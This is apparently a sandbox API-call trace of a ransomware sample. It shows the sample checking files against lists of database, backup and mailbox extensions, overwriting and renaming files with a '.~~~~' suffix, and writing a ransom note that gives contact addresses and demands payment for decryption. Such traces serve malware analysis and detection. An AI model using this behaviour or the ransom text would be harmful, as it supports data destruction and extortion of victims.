	[0083.037] lstrlenW (lpString=".pst") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".pst") returned 0x0
	[0083.037] lstrlenW (lpString=".dbv") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".dbv") returned 0x0
	[0083.037] lstrlenW (lpString=".SDF") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".SDF") returned 0x0
	[0083.037] lstrlenW (lpString=".dtxs") returned 5
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".dtxs") returned 0x0
	[0083.037] lstrlenW (lpString=".db3") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".db3") returned 0x0
	[0083.038] lstrlenW (lpString=".OST") returned 4
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".OST") returned 0x0
	[0083.038] lstrlenW (lpString=".dbx") returned 4
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".dbx") returned 0x0
	[0083.038] lstrlenW (lpString=".DB3") returned 4
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DB3") returned 0x0
	[0083.038] lstrlenW (lpString=".DAT") returned 4
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DAT") returned 0x0
	[0083.038] lstrlenW (lpString=".VHDX") returned 5
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".VHDX") returned 0x0
	[0083.038] lstrlenW (lpString=".ndf") returned 4
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".ndf") returned 0x0
	[0083.038] lstrlenW (lpString=".DB") returned 3
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DB") returned 0x0
	[0083.038] lstrlenW (lpString=".sql") returned 4
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".sql") returned 0x0
	[0083.038] lstrlenW (lpString=".MYD") returned 4
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".MYD") returned 0x0
	[0083.038] lstrlenW (lpString=".DBT") returned 4
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DBT") returned 0x0
	[0083.038] lstrlenW (lpString=".ACCDB") returned 6
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".ACCDB") returned 0x0
	[0083.038] lstrlenW (lpString=".fdb") returned 4
	[0083.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".fdb") returned 0x0
	[0083.038] lstrlenW (lpString=".bak") returned 4
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".bak") returned 0x0
	[0083.039] lstrlenW (lpString=".myd") returned 4
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".myd") returned 0x0
	[0083.039] lstrlenW (lpString=".DTXS") returned 5
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DTXS") returned 0x0
	[0083.039] lstrlenW (lpString=".ckp") returned 4
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".ckp") returned 0x0
	[0083.039] lstrlenW (lpString=".dbt") returned 4
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".dbt") returned 0x0
	[0083.039] lstrlenW (lpString=".db") returned 3
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".db") returned 0x0
	[0083.039] lstrlenW (lpString=".TXT") returned 4
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".TXT") returned 0x0
	[0083.039] lstrlenW (lpString=".MDF") returned 4
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".MDF") returned 0x0
	[0083.039] lstrlenW (lpString=".bdb") returned 4
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".bdb") returned 0x0
	[0083.039] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.039] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.040] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.040] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x382b60
	[0083.041] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20303089651) returned 1
	[0083.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9b5672b0, dwHighDateTime=0x1d60e1e)) 
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac698
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac698 | out: hHeap=0x300000) returned 1
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab030
	[0083.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c328
	[0083.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab030 | out: hHeap=0x300000) returned 1
	[0083.041] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.042] GetLastError () returned 0x0
	[0083.042] GetLastError () returned 0x0
	[0083.042] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.042] GetLastError () returned 0x0
	[0083.042] GetLastError () returned 0x0
	[0083.042] ReadFile (in: hFile=0x120, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0xdfa0, lpOverlapped=0x0) returned 1
	[0083.068] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff2060, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.068] WriteFile (in: hFile=0x120, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0xdfa0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0xdfa0, lpOverlapped=0x0) returned 1
	[0083.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0083.069] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.069] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.069] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.069] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.069] CloseHandle (hObject=0x120) returned 1
	[0083.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab030
	[0083.070] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.~~~~")) returned 1
	[0083.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab030 | out: hHeap=0x300000) returned 1
	[0083.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.070] GetLastError () returned 0x0
	[0083.071] RtlWakeConditionVariable () returned 0x365f70
	[0083.072] GetCurrentThreadId () returned 0x9cc
	[0083.072] GetCurrentThreadId () returned 0x9cc
	[0083.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab030
	[0083.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0083.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac820 | out: hHeap=0x300000) returned 1
	[0083.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0083.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0083.075] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.075] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.076] CloseHandle (hObject=0x120) returned 1
	[0083.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0083.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab030 | out: hHeap=0x300000) returned 1
	[0083.076] RtlWakeConditionVariable () returned 0x365f70
	[0083.076] GetCurrentThreadId () returned 0x9cc
	[0083.077] GetCurrentThreadId () returned 0x9cc
	[0083.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab030
	[0083.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aae38 | out: hHeap=0x300000) returned 1
	[0083.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7e8 | out: hHeap=0x300000) returned 1
	[0083.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aae38
	[0083.077] lstrlenW (lpString=".scr") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".scr") returned 0x0
	[0083.077] lstrlenW (lpString=".cmd") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".cmd") returned 0x0
	[0083.077] lstrlenW (lpString=".dll") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".dll") returned 0x0
	[0083.077] lstrlenW (lpString=".bat") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".bat") returned 0x0
	[0083.077] lstrlenW (lpString=".cpl") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".cpl") returned 0x0
	[0083.077] lstrlenW (lpString=".sys") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".sys") returned 0x0
	[0083.077] lstrlenW (lpString=".msc") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".msc") returned 0x0
	[0083.077] lstrlenW (lpString=".com") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".com") returned 0x0
	[0083.077] lstrlenW (lpString=".lnk") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".lnk") returned 0x0
	[0083.077] lstrlenW (lpString=".msp") returned 4
	[0083.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".msp") returned 0x0
	[0083.077] lstrlenW (lpString=".pif") returned 4
	[0083.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".pif") returned 0x0
	[0083.078] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0083.078] lstrlenW (lpString=".sqb") returned 4
	[0083.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".sqb") returned 0x0
	[0083.078] lstrlenW (lpString=".ost") returned 4
	[0083.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".ost") returned 0x0
	[0083.078] lstrlenW (lpString=".txt") returned 4
	[0083.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".txt") returned 0x0
	[0083.078] lstrlenW (lpString=".mdt") returned 4
	[0083.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".mdt") returned 0x0
	[0083.078] lstrlenW (lpString=".BDB") returned 4
	[0083.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".BDB") returned 0x0
	[0083.078] lstrlenW (lpString=".eql") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".eql") returned 0x0
	[0083.079] lstrlenW (lpString=".DBF") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DBF") returned 0x0
	[0083.079] lstrlenW (lpString=".EQL") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".EQL") returned 0x0
	[0083.079] lstrlenW (lpString=".FDB") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".FDB") returned 0x0
	[0083.079] lstrlenW (lpString=".EDB") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".EDB") returned 0x0
	[0083.079] lstrlenW (lpString=".DACPAC") returned 7
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.079] lstrlenW (lpString=".VHD") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".VHD") returned 0x0
	[0083.079] lstrlenW (lpString=".DBV") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DBV") returned 0x0
	[0083.079] lstrlenW (lpString=".dacpac") returned 7
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".dacpac") returned 0x0
	[0083.079] lstrlenW (lpString=".sdf") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".sdf") returned 0x0
	[0083.079] lstrlenW (lpString=".accdb") returned 6
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".accdb") returned 0x0
	[0083.079] lstrlenW (lpString=".DBX") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DBX") returned 0x0
	[0083.079] lstrlenW (lpString=".MDT") returned 4
	[0083.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".MDT") returned 0x0
	[0083.079] lstrlenW (lpString=".SQB") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".SQB") returned 0x0
	[0083.080] lstrlenW (lpString=".vhd") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".vhd") returned 0x0
	[0083.080] lstrlenW (lpString=".bac") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".bac") returned 0x0
	[0083.080] lstrlenW (lpString=".mdf") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".mdf") returned 0x0
	[0083.080] lstrlenW (lpString=".BAK") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".BAK") returned 0x0
	[0083.080] lstrlenW (lpString=".BAC") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".BAC") returned 0x0
	[0083.080] lstrlenW (lpString=".dbs") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".dbs") returned 0x0
	[0083.080] lstrlenW (lpString=".vhdx") returned 5
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".vhdx") returned 0x0
	[0083.080] lstrlenW (lpString=".NDF") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".NDF") returned 0x0
	[0083.080] lstrlenW (lpString=".dat") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".dat") returned 0x0
	[0083.080] lstrlenW (lpString=".DBS") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DBS") returned 0x0
	[0083.080] lstrlenW (lpString=".CKP") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".CKP") returned 0x0
	[0083.080] lstrlenW (lpString=".edb") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".edb") returned 0x0
	[0083.080] lstrlenW (lpString=".PST") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".PST") returned 0x0
	[0083.080] lstrlenW (lpString=".dbf") returned 4
	[0083.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".dbf") returned 0x0
	[0083.081] lstrlenW (lpString=".SQL") returned 4
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".SQL") returned 0x0
	[0083.081] lstrlenW (lpString=".pst") returned 4
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".pst") returned 0x0
	[0083.081] lstrlenW (lpString=".dbv") returned 4
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".dbv") returned 0x0
	[0083.081] lstrlenW (lpString=".SDF") returned 4
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".SDF") returned 0x0
	[0083.081] lstrlenW (lpString=".dtxs") returned 5
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".dtxs") returned 0x0
	[0083.081] lstrlenW (lpString=".db3") returned 4
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".db3") returned 0x0
	[0083.081] lstrlenW (lpString=".OST") returned 4
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".OST") returned 0x0
	[0083.081] lstrlenW (lpString=".dbx") returned 4
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".dbx") returned 0x0
	[0083.081] lstrlenW (lpString=".DB3") returned 4
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DB3") returned 0x0
	[0083.081] lstrlenW (lpString=".DAT") returned 4
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DAT") returned 0x0
	[0083.081] lstrlenW (lpString=".VHDX") returned 5
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".VHDX") returned 0x0
	[0083.081] lstrlenW (lpString=".ndf") returned 4
